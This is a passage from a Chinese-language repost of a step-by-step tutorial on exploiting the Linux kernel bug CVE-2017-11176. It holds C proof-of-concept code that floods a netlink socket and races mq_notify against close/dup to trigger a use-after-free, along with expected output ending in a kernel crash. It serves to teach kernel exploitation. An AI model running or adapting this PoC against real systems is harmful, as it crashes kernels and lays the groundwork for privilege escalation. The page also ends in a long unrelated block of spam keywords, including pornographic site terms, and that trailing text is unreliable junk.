if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))

perror("[+] setsockopt");

return NULL;

}

// ----------------------------------------------------------------------------

static int decrease_sock_refcounter(int sock_fd, int unblock_fd)

{

pthread_t tid;

struct sigevent sigev;

struct unblock_thread_arg uta;

char sival_buffer[NOTIFY_COOKIE_LEN];

// initialize the unblock thread arguments

uta.sock_fd = sock_fd;

uta.unblock_fd = unblock_fd;

uta.is_ready = false;

// initialize the sigevent structure

memset(&sigev, 0, sizeof(sigev));

sigev.sigev_notify = SIGEV_THREAD;

sigev.sigev_value.sival_ptr = sival_buffer;

sigev.sigev_signo = uta.sock_fd;

printf("[ ] creating unblock thread...\n");

if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)

{

perror("[-] pthread_create");

goto fail;

}

while (uta.is_ready == false) // spinlock until thread is created

;

printf("[+] unblocking thread has been created!\n");

printf("[ ] get ready to block\n");

if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))

{

perror("[-] mq_notify");

goto fail;

}

printf("[+] mq_notify succeed\n");

return 0;

fail:

return -1;

}

// ============================================================================

// ----------------------------------------------------------------------------

// ============================================================================

/*

* Creates a netlink socket and fills its receive buffer.

*

* Returns the socket file descriptor or -1 on error.

*/

static int prepare_blocking_socket(void)

{

int send_fd;

int recv_fd;

char buf[1024*10];

int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

struct sockaddr_nl addr = {

.nl_family = AF_NETLINK,

.nl_pad = 0,

.nl_pid = 118, // must different than zero

.nl_groups = 0 // no groups

};

struct iovec iov = {

.iov_base = buf,

.iov_len = sizeof(buf)

};

struct msghdr mhdr = {

.msg_name = &addr,

.msg_namelen = sizeof(addr),

.msg_iov = &iov,

.msg_iovlen = 1,

.msg_control = NULL,

.msg_controllen = 0,

.msg_flags = 0,

};

printf("[ ] preparing blocking netlink socket\n");

if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||

(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)

{

perror("socket");

goto fail;

}

printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))

{

if (errno != EADDRINUSE)

{

perror("[-] bind");

goto fail;

}

addr.nl_pid++;

}

printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))

perror("[-] setsockopt"); // no worry if it fails, it is just an optim.

else

printf("[+] receive buffer reduced\n");

printf("[ ] flooding socket\n");

while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)

;

if (errno != EAGAIN)

{

perror("[-] sendmsg");

goto fail;

}

printf("[+] flood completed\n");

_close(send_fd);

printf("[+] blocking socket ready\n");

return recv_fd;

fail:

printf("[-] failed to prepare block socket\n");

return -1;

}

// ============================================================================

// ----------------------------------------------------------------------------

// ============================================================================

int main(void)

{

int sock_fd = -1;

int sock_fd2 = -1;

int unblock_fd = 1;

printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");

if ((sock_fd = prepare_blocking_socket()) < 0)

goto fail;

printf("[+] netlink socket created = %d\n", sock_fd);

if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))

{

perror("[-] dup");

goto fail;

}

printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);

// trigger the bug twice

if (decrease_sock_refcounter(sock_fd, unblock_fd) ||

decrease_sock_refcounter(sock_fd2, unblock_fd))

{

goto fail;

}

printf("[ ] ready to crash?\n");

PRESS_KEY();

// TODO: exploit

return 0;

fail:

printf("[-] exploit failed!\n");

PRESS_KEY();

return -1;

}

// ============================================================================

// ----------------------------------------------------------------------------

// ============================================================================

預期輸出:

[ ] -={ CVE-2017-11176 Exploit }=-

[ ] preparing blocking netlink socket

[+] socket created (send_fd = 3, recv_fd = 4)

[+] netlink socket bound (nl_pid=118)

[+] receive buffer reduced

[ ] flooding socket

[+] flood completed

[+] blocking socket ready

[+] netlink socket created = 4

[+] netlink fd duplicated (unblock_fd=3, sock_fd2=5)

[ ] creating unblock thread...

[+] unblocking thread has been created!

[ ] get ready to block

[ ][unblock] closing 4 fd

[ ][unblock] unblocking now

[+] mq_notify succeed

[ ] creating unblock thread...

[+] unblocking thread has been created!

[ ] get ready to block

[ ][unblock] closing 5 fd

[ ][unblock] unblocking now

[+] mq_notify succeed

[ ] ready to crash?

[ ] press key to continue...

<<< KERNEL CRASH HERE >>>

從現在開始,直到exp最終完成,每次運行PoC系統都會崩潰。這很煩人,但你會習慣的。可以通過禁止不必要的服務(例如圖形界面等)來加快啟動時間。記得最后重新啟用這些服務,以匹配你的“真正”目標(他們也確實對內核有影響)。

結論

本文介紹了調度器子系統,任務狀態以及如何通過等待隊列在正在運行/等待狀態之間轉換。理解這部分有助于喚醒主線并贏得競態條件。

通過close()和dup()系統調用,使第二次調用fget()返回NULL,這是觸發漏洞所必需的。最后,研究了如何使netlink_attachskb()返回1。

所有這些組合起來成了最終的PoC,可以在不使用System Tap的情況下可靠地觸發漏洞并使內核崩潰。

接下來的文章將討論一個重要的話題:釋放后重用漏洞的利用。將闡述slab分配器的基礎知識,類型混淆,重新分配以及如何通過它來獲得任意調用。將公開一些有助于構建和調試漏洞的新工具。最后,我們會在合適的時候讓內核崩潰。

創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的linux 漏洞 poc,CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

亚洲精品欧洲精品 | 美女网站色 | 国产手机精品视频 | 亚洲涩综合 | 91漂亮少妇露脸在线播放 | 亚洲精品高清在线 | 色妞色视频一区二区三区四区 | 五月天久久综合 | 精品嫩模福利一区二区蜜臀 | 精品成人国产 | 97狠狠干| 一区二区三区免费在线播放 | 天天色天天草天天射 | 欧美做受高潮 | 精品一区二区在线免费观看 | 成人在线视频观看 | 亚洲精区二区三区四区麻豆 | 中文字幕av电影下载 | 国产精品a久久久久 | 黄色高清视频在线观看 | 欧美国产不卡 | 精品一区 在线 | 中文字幕永久 | 成人免费在线观看入口 | 五月婷婷中文网 | 国产一级片播放 | 国产亚洲精品av | 日本久久电影网 | 超碰人在线 | 欧美大香线蕉线伊人久久 | 精品免费一区二区三区 | 91av免费看 | 免费看黄20分钟 | 五月天激情综合网 | 久久精品亚洲综合专区 | 99色国产| 91精品国产91热久久久做人人 | 欧美在线你懂的 | 日韩网站在线免费观看 | 久久精品综合 | 亚洲区精品 | 久久亚洲二区 | 久久精品视频在线观看免费 | 日日干天天射 | 久久综合久久综合这里只有精品 | 精品国产视频在线 | 久久精品一二区 | 最近最新中文字幕视频 | 一区二区三区中文字幕在线 | 亚洲男男gⅴgay双龙 | 视频在线观看91 | 九九视频在线观看视频6 | 天堂网av在线 | 精品国产一区二区三区免费 | 欧美中文字幕第一页 | 日韩中文字幕免费电影 | 精品亚洲一区二区 | 欧美一级电影片 | 99精品在线 | 天天操天天操天天操天天操天天操天天操 | 九九免费视频 | www.五月婷| 国产精品二区在线观看 | 欧美韩国在线 | 国产精品久久久久久影院 | 婷婷色站| 欧美日韩视频一区二区 | 日韩免费看 | 日本精品视频在线播放 | av中文字幕在线观看网站 | 97视频入口免费观看 | www.91国产| 国产精品白丝av | 亚洲激情在线观看 | 久久精品99国产精品亚洲最刺激 | 一本一本久久a久久精品综合小说 | av中文字幕网址 | 免费a视频 | 中文字幕人成乱码在线观看 | 又黄又爽又色无遮挡免费 | 日韩视频精品在线 | 色婷婷电影网 | 亚洲婷婷丁香 | 在线一二三区 | 欧美另类网站 | 狠狠狠狠狠色综合 | 欧美精品免费在线 | 久久国产热 | 欧美日韩免费观看一区=区三区 | 四虎成人精品永久免费av | 天堂网一区二区 | 亚洲视频免费在线观看 | 久久久www| 精品国产一区在线观看 | 午夜久久久精品 | 日韩一区二区免费视频 | 色婷婷福利视频 | 国产午夜麻豆影院在线观看 | 欧美一级看片 | 国产青春久久久国产毛片 | 麻豆精品视频在线 | 一本一本久久aa综合精品 | 99视频偷窥在线精品国自产拍 | 日韩精品在线免费观看 | 91精品国产高清自在线观看 | 激情视频在线观看网址 | 波多野结衣在线观看一区 | 国产亚洲精品bv在线观看 | av中文字幕在线观看网站 | 免费网站色 | 国产精品视频地址 | 91久久电影| 国产精品免费看久久久8精臀av | 免费麻豆视频 | 500部大龄熟乱视频使用方法 | 久久久久日本精品一区二区三区 | av电影在线不卡 | 在线免费中文字幕 | 又色又爽的网站 | 五月天激情电影 | 一区二区精品久久 | 色综合久久66 | 中文字幕免费一区 | 五月婷婷毛片 | 视频在线观看91 | 日韩精品视频在线观看网址 | 激情图片区 | 久久公开视频 | 黄色a一级视频 | 国偷自产中文字幕亚洲手机在线 | 亚洲精品影院在线观看 | 久久免费视频这里只有精品 | 又长又大又黑又粗欧美 | 99r在线| 日韩av高潮 | 亚洲精品午夜一区人人爽 | 在线视频成人 | 日韩精品资源 | 亚洲精品视 | 开心激情五月婷婷 | 99热这里有精品 | 日韩一区二区三区在线观看 | 在线观看国产91 | 久久综合精品国产一区二区三区 | 一区二区三区四区精品视频 | 日韩电影精品一区 | 在线视频日韩一区 | 日本性xxx | 在线精品亚洲 | 在线免费观看视频a | 1024手机基地在线观看 | 激情久久网 | 狠狠狠色丁香婷婷综合久久88 | 国产夫妻性生活自拍 | 日韩视频1 | 99久久99视频 | 久久久久这里只有精品 | 91日韩在线| 亚洲人成人在线 | 99久久精品国产亚洲 | 中文字幕在线人 | 免费看国产精品 | 亚洲免费观看在线视频 | 在线免费观看的av | 91精品91| 成片免费观看视频999 | 人人澡人摸人人添学生av | 亚洲一级片在线看 | 天天色婷婷 | 五月综合激情 | 国产最新网站 | 色欧美88888久久久久久影院 | 免费看一级黄色 | 久久99精品国产一区二区三区 | 18性欧美xxxⅹ性满足 | 国产无套精品久久久久久 | 成人免费视频免费观看 | 天天操狠狠操网站 | 欧美激情精品 | 久久久久久网站 | 免费看污黄网站 | 国产精品99久久久久人中文网介绍 | 韩国一区二区三区视频 | 黄色毛片大全 | 国产成人av片 | 国产精彩视频 | 午夜久久影院 | 最新午夜| 中文字幕九九 | 久久亚洲综合色 | 国产成人久久久77777 | 在线亚洲小视频 | 成 人 黄 色 视频免费播放 | 中文字幕一区二区三区久久蜜桃 | 97人人精品 | 国产亚洲精品中文字幕 | 国产精品久久久久影视 | 久久久久北条麻妃免费看 | 一二三区av| 色偷偷888欧美精品久久久 | 亚洲精品乱码久久久久 | 欧美一级电影免费观看 | 国产精品9999久久久久仙踪林 | 日韩欧美综合视频 | 美女av电影 | 天堂av在线| 欧美日韩精品二区第二页 | 国产精品人人做人人爽人人添 | 91免费版在线观看 | 四虎影视精品 | 福利一区二区三区四区 | 婷婷新五月 | 丰满少妇一级 | 99这里都是精品 | 黄网站a| av在线免费在线观看 | 国产亚洲视频系列 | 国产一级片直播 | av在线亚洲天堂 | 婷婷视频 | 国产精品久久久久aaaa | 1024手机看片国产 | 国产高清在线免费观看 | 国产在线观看中文字幕 | 韩国av三级 | 国产不卡一 | 久要激情网 | 国产中文伊人 | 999久久久久 | 日韩精品久久久免费观看夜色 | 精品视频 | 久草精品视频在线播放 | 日韩av在线资源 | 免费在线观看成人av | 成人国产精品免费 | 精品伊人久久久 | 国产最新视频在线 | 精品人人人人 | 日日精品 | 久久不射电影网 | 五月天久久婷 | 亚洲免费a | 99视屏 | 欧美性生活大片 | 午夜黄色大片 | 日韩欧美一区二区三区黑寡妇 | 色狠狠一区二区 | 99精品国产免费久久久久久下载 | 97av精品 | 日本激情视频中文字幕 | 视频在线一区 | av成人在线看 | 成人国产精品免费观看 | 免费观看的av | 黄色亚洲片| 亚洲一级二级 | 久久er99热精品一区二区三区 | 国产分类视频 | 成人av网站在线 | av一级片网站| 久久99久久精品国产 | 夜夜爽夜夜操 | 欧美性做爰猛烈叫床潮 | 免费观看全黄做爰大片国产 | 成人黄色毛片 | 国产精品99在线播放 | 在线观看网站黄 | 亚洲精品影视在线观看 | 精品久久精品 | 在线天堂中文在线资源网 | 国产午夜麻豆影院在线观看 | 精品欧美一区二区三区久久久 | 精品国产欧美一区二区三区不卡 | 狠狠干夜夜| 最新av中文字幕 | 天天超碰 | 婷婷国产在线 | 国产精品理论片在线播放 | 国产日女人 | 欧美成人高清 | av电影免费在线看 | 国产性天天综合网 | 天天操天天怕 | 日韩电影中文字幕在线 | 成人免费电影 | 天天干,天天干 | 欧洲一区二区三区精品 | 日韩女同一区二区三区在线观看 | 精品国产综合区久久久久久 | 国产精品美女在线 | 国产精品一区二区免费视频 | 国产亚洲成av人片在线观看桃 | 成人免费毛片aaaaaa片 | 日韩中文字幕免费在线观看 | 欧美 日韩 久久 | 久久资源总站 | 九九热在线视频 | 日韩电影一区二区在线 | 高清精品在线 | 国产成人精品免费在线观看 | 国产视频精品久久 | av中文字幕免费在线观看 | 在线观看视频三级 | 91在线亚洲 | 久久资源总站 | 国产欧美在线一区 | 夜夜操天天干 | 中文字幕婷婷 | 黄色av网站在线观看 | 伊香蕉大综综综合久久啪 | 日韩av午夜在线观看 | 女人18毛片a级毛片一区二区 | 最新av网址在线 | 国产成人精品一区二区三区在线观看 | 亚洲成人黄色在线观看 | 久久精品久久久久久久 | 高清不卡毛片 | 91综合久久一区二区 | 97视频在线观看视频免费视频 | 日韩av视屏在线观看 | 欧美-第1页-屁屁影院 | 亚洲精品中文字幕视频 | 日本三级中文字幕在线观看 | 99re中文字幕 | 五月婷婷丁香激情 | 成人动态视频 | 久久免费观看少妇a级毛片 久久久久成人免费 | 国产又粗又猛又黄 | 天天爱天天干天天爽 | 亚洲一区免费在线 | 久久久久久电影 | 久久99精品波多结衣一区 | 九精品 | 丁香在线 | 久久久久国 | 午夜18视频在线观看 | 99在线播放 | 91麻豆免费视频 | 最新国产精品拍自在线播放 | 国产高清在线看 | 久久久综合九色合综国产精品 | 色夜视频| 亚洲国产精品久久久久 | 最新中文字幕在线资源 | 午夜av在线播放 | 伊人久操 | 91最新在线观看 | 欧美日韩一区二区三区视频 | 欧美国产不卡 | www色网站| 又黄又爽的免费高潮视频 | 美女黄久久 | 91精品综合在线观看 | 超碰com| 最新日韩视频 | 久视频在线播放 | 亚洲天天在线 | 国产精品18久久久久久不卡孕妇 | 亚洲高清在线精品 | 91在线入口 | 在线精品播放 | 91精品国产自产91精品 | 中中文字幕av在线 | 五月天伊人 | 色久av| 国产免费成人 | 99精品免费久久久久久久久日本 | 亚洲成人一二三 | 精品99视频 | 国产精品久久久久久久久久 | 一二区电影 | 日本动漫做毛片一区二区 | 精品伦理一区二区三区 | 国产一区二区三区午夜 | 久久久免费看片 | 在线观看视频你懂得 | 久久免费视频这里只有精品 | 四虎永久精品在线 | 日本久热 | 天天爽天天做 | 国产精品白丝av | 高潮久久久久久 | 亚洲免费av电影 | 九九色网 | 中文字幕 在线看 | 黄色网www | 日韩网站在线观看 | 亚洲精品国产精品国自产观看浪潮 | 亚洲精品久久久久中文字幕二区 | 欧美日韩精品网站 | 亚洲激情校园春色 | 欧美男男tv网站 | 久久免费视频播放 | 精品免费一区 | 亚洲乱码精品久久久 | 成人一区二区在线 | 中文字幕在线观看视频网站 | 婷婷深爱激情 | 有码中文字幕 | 日本不卡一区二区 | 韩日电影在线观看 | 九九精品久久 | 在线观看免费黄视频 | 在线视频日韩欧美 | 天天操操操操操 | 亚洲精品免费在线观看 | 久久久久久久毛片 | 久久精品中文字幕 | 麻豆视频免费播放 | 国产成人精品免高潮在线观看 | 亚洲欧美999 | 亚洲乱码精品久久久 | 日韩美女一级片 | 91福利视频久久久久 | 久久免费视频5 | 久久久999免费视频 日韩网站在线 | 国产精品第一页在线观看 | 国内精品久久久久久中文字幕 | 欧美二区视频 | 在线视频久 | 久久久久久久久国产 | 国产区精品视频 | 久久国产精品视频 | 欧美污污网站 | 黄色a在线观看 | 亚洲精品ww | 丝袜美腿亚洲综合 | 69亚洲乱 | 免费 在线 中文 日本 | 午夜久久福利视频 | 激情综合色播五月 | 国产乱码精品一区二区三区介绍 | 西西444www大胆高清视频 | 国产精品日韩精品 | 美女黄色网在线播放 | 一区二区不卡高清 | 激情五月亚洲 | 808电影免费观看三年 | 五月婷激情 | 97福利 | 天天综合精品 | 成人av在线影视 | 91麻豆精品一区二区三区 | 午夜久久福利视频 | 日韩一区二区三区高清免费看看 | 色婷婷综合久久久久中文字幕1 | 久久久久久久亚洲精品 | 91精品啪在线观看国产81旧版 | 日本中文字幕一二区观 | 日韩精品欧美一区 | 国产91影院 | 久久av在线 | 97人人模人人爽人人喊网 | 在线最新av | 欧美激情精品久久 | 欧美日韩在线视频免费 | 日韩理论在线 | 天天射天天干天天 | 91精品一区二区在线观看 | 亚洲精品视频网址 | 999成人免费视频 | 国产91影院| 久久这里有精品 | 日日操操 | 日韩精品专区 | 五月精品 | 黄色h在线观看 | 综合网av | 色噜噜在线观看视频 | 在线黄色国产电影 | 久久黄色网页 | а天堂中文最新一区二区三区 | 亚洲高清在线 | 香蕉网在线播放 | 久久久久久久久久久黄色 | 91av视频导航 | 西西4444www大胆视频 | 久久怡红院| 国产成人精品亚洲精品 | 天天色影院 | 亚州性色 | 日产中文字幕 | 免费精品人在线二线三线 | 国产精品a久久久久 | 国产中文字幕一区二区三区 | 欧美一区二区三区在线 | 在线精品在线 | 久久久污 | 中国一级特黄毛片大片久久 | 日本最大色倩网站www | 91视频在线观看大全 | 欧美一区二区三区免费看 | 精品久久久精品 | 91九色porny在线 | 精品视频久久 | 天天操天天射天天 | 一区二区精品视频 | 国产91综合一区在线观看 | 国产中文字幕在线免费观看 | 免费69视频 | 麻豆视频91 | 99视频偷窥在线精品国自产拍 | 综合天天网 | 国产 日韩 欧美 在线 | 蜜臀av性久久久久av蜜臀三区 | 97电影院在线观看 | 久久久国产电影 | 免费观看一级成人毛片 | 看污网站 | 婷婷综合久久 | 色婷婷激婷婷情综天天 | 日本精品小视频 | 日韩视频一区二区在线 | 午夜精品一二区 | 日韩有码中文字幕在线 | a天堂最新版中文在线地址 久久99久久精品国产 | 国产手机在线精品 | 伊人久久一区 | 在线播放 日韩专区 | av女优中文字幕在线观看 | 亚洲毛片视频 | 亚洲爱av | 日韩精品在线免费播放 | 超薄丝袜一二三区 | 国产香蕉av | 久久男人中文字幕资源站 | 97国产大学生情侣白嫩酒店 | 久久一区二区三区日韩 | 日韩av资源站 | 在线韩国电影免费观影完整版 | 黄网站色欧美视频 | 精品国内自产拍在线观看视频 | 国产小视频免费在线网址 | 亚洲成人黄色 | 91入口在线观看 | 精品视频在线视频 | 欧美最猛性xxxxx亚洲精品 | 精品久久久久一区二区国产 | 九色精品免费永久在线 | 国产男女免费完整视频 | 色婷婷五 | 免费99精品国产自在在线 | 91黄视频在线 | 欧美精品999 | 五月天综合激情 | 国产99一区视频免费 | 国产精品视频区 | 色婷婷成人| 狠狠狠狠狠狠操 | 中文字幕在线观看第三页 | 日韩在线观看一区二区三区 | 欧美日韩一区二区三区不卡 | 日韩成人精品一区二区三区 | 亚洲欧美日韩在线一区二区 | www.玖玖玖 | 国产精品久久久久久久久久 | 91探花在线 | 国产专区视频在线 | av在观看 | 九九av| 亚洲成a人片在线观看中文 中文字幕在线视频第一页 狠狠色丁香婷婷综合 | 免费成视频 | 国产精品女视频 | 探花视频在线观看免费版 | 日韩精品一区二区三区高清免费 | 在线观看亚洲成人 | 午夜少妇一区二区三区 | 天天综合入口 | avcom在线| 国产精品国内免费一区二区三区 | 99爱国产精品 | 不卡电影免费在线播放一区 | 深夜精品福利 | 久久99热精品 | 日日爱网址| 亚洲国产三级在线 | 久久久久麻豆v国产 | 欧美不卡在线 | 国产在线欧美日韩 | 超碰人人超碰 | 欧美日韩在线观看一区 | 国产精品电影在线 | 婷五月激情 | 久草久视频 | 亚洲撸撸| 色播99| 9999在线视频 | 精品国产三级a∨在线欧美 免费一级片在线观看 | 永久免费的av电影 | 久久免费国产 | 五月婷婷天堂 | 国产女人40精品一区毛片视频 | 91视频免费看网站 | 国产视频中文字幕 | 国产精品一区专区欧美日韩 | 国产又粗又猛又黄 | 国产视频高清 | 国产高清绿奴videos | 中文字幕在线国产精品 | 久久久久久网址 | 99视频免费看 | 五月婷香蕉久色在线看 | 中国一级片免费看 | 在线a人片免费观看视频 | 久久,天天综合 | 亚洲精品国偷自产在线99热 | 亚洲综合少妇 | 国产精品视屏 | 色资源二区在线视频 | 国产精品美女久久久久aⅴ 干干夜夜 | 国产精品一区二区三区在线看 | 五月香婷| 丁五月婷婷 | 视频在线观看入口黄最新永久免费国产 | 日韩av成人免费看 | 午夜性盈盈| 亚洲精品国产视频 | 91成年人在线观看 | 香蕉视频啪啪 | 亚洲精品国产自产拍在线观看 | 国产一级黄色av | 久久www免费视频 | 亚洲永久精品在线观看 | 在线免费av网站 | 91av免费在线观看 | 国产黄a三级三级 | 中文在线免费观看 | 99自拍视频在线观看 | 亚洲理论视频 | 91男人影院 | 精品久久久久久一区二区里番 | 亚洲电影久久久 | 欧美网址在线观看 | 黄网站a| 国产精品久久久久久久久久免费 | 91视频成人免费 | 中文字幕免费高 | 婷婷av资源 | 一级淫片在线观看 | 玖玖国产精品视频 | 99精品国产高清在线观看 | 精品嫩模福利一区二区蜜臀 | 日日夜夜天天 | 中文字幕黄色网 | 久久亚洲综合国产精品99麻豆的功能介绍 | 91精品爽啪蜜夜国产在线播放 | 久久热首页| 国产成人99av超碰超爽 | 国产亚洲在线观看 | 精品国产精品久久一区免费式 | 日韩午夜精品 | 在线观看91av | 久久久久一区 | 久久久国产在线视频 | 日日夜夜网 | 久久久久欠精品国产毛片国产毛生 | 国产日韩欧美在线观看视频 | 国产精品第一页在线观看 | 奇米网444| 一区二区视频电影在线观看 | 久久精品爱视频 | 精品久久久久久亚洲综合网站 | 天天操天天玩 | 久久久久成人精品 | 国产成人av一区二区三区在线观看 | 天天操天天操天天操天天操天天操天天操 | 国产精品99久久久久的智能播放 | 美女网站一区 | 日日摸日日添日日躁av | 亚洲国产精品电影 | 亚洲最大色| 精品久久久久久久久亚洲 | 久久国产精品一国产精品 | 美女免费视频黄 | 欧美精品三级在线观看 | 人人玩人人添人人澡超碰 | 久久免费影院 | 可以免费观看的av片 | 五月婷婷.com | 亚洲综合视频在线观看 | 91手机电影| 亚洲免费国产 | 精品成人在线 | 日p视频在线观看 | 免费一级日韩欧美性大片 | 国产久草在线 | 色999五月色| 久久理伦片 | 激情丁香在线 | 国产精品自在线拍国产 | 欧美在线91 | 国产精品美女久久久久久久 | 成人av在线资源 | 久久精品国产亚洲aⅴ | 91桃色免费观看 | 欧美日韩国产精品一区二区亚洲 | 啪啪免费视频网站 | 欧美精品首页 | 中文字幕视频观看 | 亚洲国产精品一区二区久久,亚洲午夜 | 一区二区不卡视频在线观看 | 91麻豆精品91久久久久同性 | 一区免费观看 | 黄a在线看 | 久久免费看片 | av在线com| 亚洲三级在线 | 精品久久久久久综合日本 | 久久色在线播放 | 18网站在线观看 | 国产最新精品视频 | 久久毛片高清国产 | 伊人久久在线观看 | 狠狠色丁香久久婷婷综 | 久久久久久久久久福利 | 999国内精品永久免费视频 | 欧美日韩国产高清视频 | 久久99久久99免费视频 | 色婷婷激情电影 | 91亚洲国产成人久久精品网站 | 中午字幕在线 | 一区二区三高清 | 五月天网页 | 香蕉久久国产 | 天天搞天天干天天色 | 黄色性av | 国产国语在线 | 国产在线视频一区二区三区 | 国产午夜一区 | 亚洲aⅴ乱码精品成人区 | 蜜臀av性久久久久蜜臀aⅴ流畅 | 欧美性黄网官网 | 亚洲综合在线观看视频 | av千婊在线免费观看 | 日韩欧美视频在线免费观看 | 久久久免费精品 | 免费视频一区二区 | 国语久久 | 欧美日韩中文在线观看 | 综合天天网 | 日韩专区一区二区 | 欧美日韩网站 | 日本久草电影 | 免费福利片| 婷婷综合成人 | 8x成人免费视频 | 一区二区三区日韩在线观看 | 日韩免费视频播放 | 国产精品美女久久久久久久久久久 | 久久精品电影网 | 国内免费的中文字幕 | 亚洲第一成网站 | 超碰97人| 亚洲在线网址 | 国产高清第一页 | 国产一级淫片免费看 | 国产成人一区二区三区久久精品 | 国产中文字幕在线 | 中文字幕字幕中文 | 91福利影院在线观看 | 久久久香蕉视频 | 欧美日韩中| 久久国产成人午夜av影院潦草 | 黄免费网站 | 免费视频a | 在线视频日韩 | 国产亚洲精品无 | 国产视频不卡 | 久久在线观看 | 日韩.com | 伊人国产视频 | 91精品视频免费看 | 91正在播放 | 日韩av免费一区二区 | 91福利免费| 人人爽人人舔 | av免费在线观| 91精品啪在线观看国产线免费 | 69久久久久久久 | 日韩电影中文字幕在线 | 国产高清视频在线免费观看 | 在线看欧美 | 国产日韩欧美在线观看视频 | 天天做天天射 | 成人午夜电影在线播放 | 国产精品中文久久久久久久 | 国产免费一区二区三区网站免费 | 黄在线| 久久久久久久久久亚洲精品 | 久色免费视频 | 96av麻豆蜜桃一区二区 | 久久综合一本 | 亚洲国产精品视频在线观看 | 最近日韩中文字幕中文 | 欧美国产在线看 | 亚洲欧美va | 最新免费av在线 | 久久超碰网 | 999久久久久久久久6666 | 色999五月色| 国内精品亚洲 | 色综合综合 | 四虎永久精品在线 | 日韩黄色在线电影 | 天天天天综合 | 日韩av在线一区二区 | 午夜视频在线观看一区 | 亚洲综合激情网 | 奇米网网址 | 九九日九九操 | 91入口在线观看 | 亚洲午夜久久久久久久久电影网 | 91在线免费看片 | 在线观看国产区 | 97人人模人人爽人人喊网 | av看片在线观看 | 久久精品美女 | 国产精品网站 | 中文免费在线观看 | 亚洲涩综合 | 黄色av电影免费观看 | av电影在线不卡 | 国产在线国偷精品产拍免费yy | 91大神免费在线观看 | 欧美一区二区日韩一区二区 | 黄色av在 | 久久久精品一区二区三区 | 精品久久一区二区三区 | 亚洲国产精品久久 | 韩国精品在线观看 | 激情五月***国产精品 | 欧美日韩性生活 | 91精品国产自产91精品 | 色婷婷六月天 | www在线观看国产 | 国产资源免费在线观看 | 99免费在线播放99久久免费 | 色播99 | 精品久久久久久久 | 日日干日日 | 日韩视频区 | 国模一二三区 | 国产福利91精品一区 | 黄色网免费| 日韩精品久久久免费观看夜色 | 成人一区在线观看 | 日韩 在线a | 成人小视频免费在线观看 | 色天天综合久久久久综合片 | 九九免费在线观看视频 | 免费黄色av电影 | 日韩精品中文字幕av | 久久这里有精品 | 精品91久久久久 | 精品视频久久 | 天天操天天爱天天干 | 久久免费激情视频 | 亚洲一区精品二人人爽久久 | 日日操夜| 99精品国产免费久久 | 日韩久久激情 | 午夜av影院 | 波多野结衣日韩 | 在线观看国产一区二区 | 日韩av电影一区 | 欧亚日韩精品一区二区在线 | 久久精品这里都是精品 | 最新中文字幕 | 久久视频国产精品免费视频在线 | 欧美夫妻生活视频 | h动漫中文字幕 | 一区二区视频在线观看免费 | 开心激情五月婷婷 | 91福利视频免费观看 | 国产亚洲精品久久久网站好莱 | 亚洲专区在线视频 | 超碰97免费 | 日韩精品无码一区二区三区 | 69久久久久久久 | 天天视频亚洲 | 成人在线免费小视频 | 青草视频在线看 | 成人a视频在线观看 | 97涩涩视频| 91视频中文字幕 | 精品99久久 | 中文字幕 二区 | 粉嫩av一区二区三区入口 | 最近日本中文字幕a | 国产成人福利片 | 在线成人中文字幕 | 四虎成人精品永久免费av | 国产精品国产三级国产aⅴ无密码 | 久久99精品久久久久久清纯直播 | 九月婷婷人人澡人人添人人爽 | 免费观看www小视频的软件 | 欧美性爽爽| 亚洲 欧美日韩 国产 中文 | 国产精品免费小视频 | 在线观看久草 | 免费男女羞羞的视频网站中文字幕 | 国产精品女主播一区二区三区 | 波多野结衣视频一区 | av电影免费观看 | 九色porny真实丨国产18 | 精品欧美小视频在线观看 | 天天插日日插 | 91亚州 | 国产精品久久久久久久免费 | 日日爽夜夜爽 | 人人干狠狠操 | 色播激情五月 | 免费一级黄色 | 99久久这里有精品 | 在线视频日韩一区 | 免费黄av| 天天爱天天操天天干 | 黄色av一级 | 亚洲黄色app| 久久久九色精品国产一区二区三区 | 一区二区三区久久 | 久久视频这里有久久精品视频11 | 午夜精品久久久 | 91porny九色在线播放 | 欧美精品久久久久久久 | 日本三级吹潮在线 | 日日夜夜中文字幕 | 99色网站| 国产精久久久久久久 | 91大神精品视频 | 国产免费看 | 中文在线字幕免费观 | av在线免费观看网站 | 精品国产欧美一区二区 | 成人黄大片视频在线观看 | 国产不卡一二三区 | 偷拍精偷拍精品欧洲亚洲网站 | 精品一区二区三区久久久 | 欧美在线一二区 | 亚洲五月激情 | 欧美天堂久久 | 欧美动漫一区二区三区 | 国产精品资源在线 | 国产一区二区在线视频观看 | 亚洲午夜精品在线观看 | 国产精品久久久久久久久久久杏吧 | 天天人人 | 999ZYZ玖玖资源站永久 | 天天色草| 亚洲日本国产 | www久| 狠狠狠色丁香综合久久天下网 | 天天骚夜夜操 | 亚洲成人二区 | 天天干,天天草 | av电影中文字幕在线观看 | 99久久这里有精品 | 亚洲狠狠丁香婷婷综合久久久 | 三上悠亚在线免费 | 手机看片1042| 一区二区视频欧美 | 成人在线网站观看 | 美女搞黄国产视频网站 | 四虎影视精品成人 | 色婷婷激情网 | 不卡的av电影在线观看 | 亚洲国产成人在线播放 | 日韩理论片 | 天天激情在线 | 九九免费在线观看视频 | 久草com | 免费a v在线 | 国产99久久久久久免费看 | 日韩精品中文字幕在线 | 国产视频 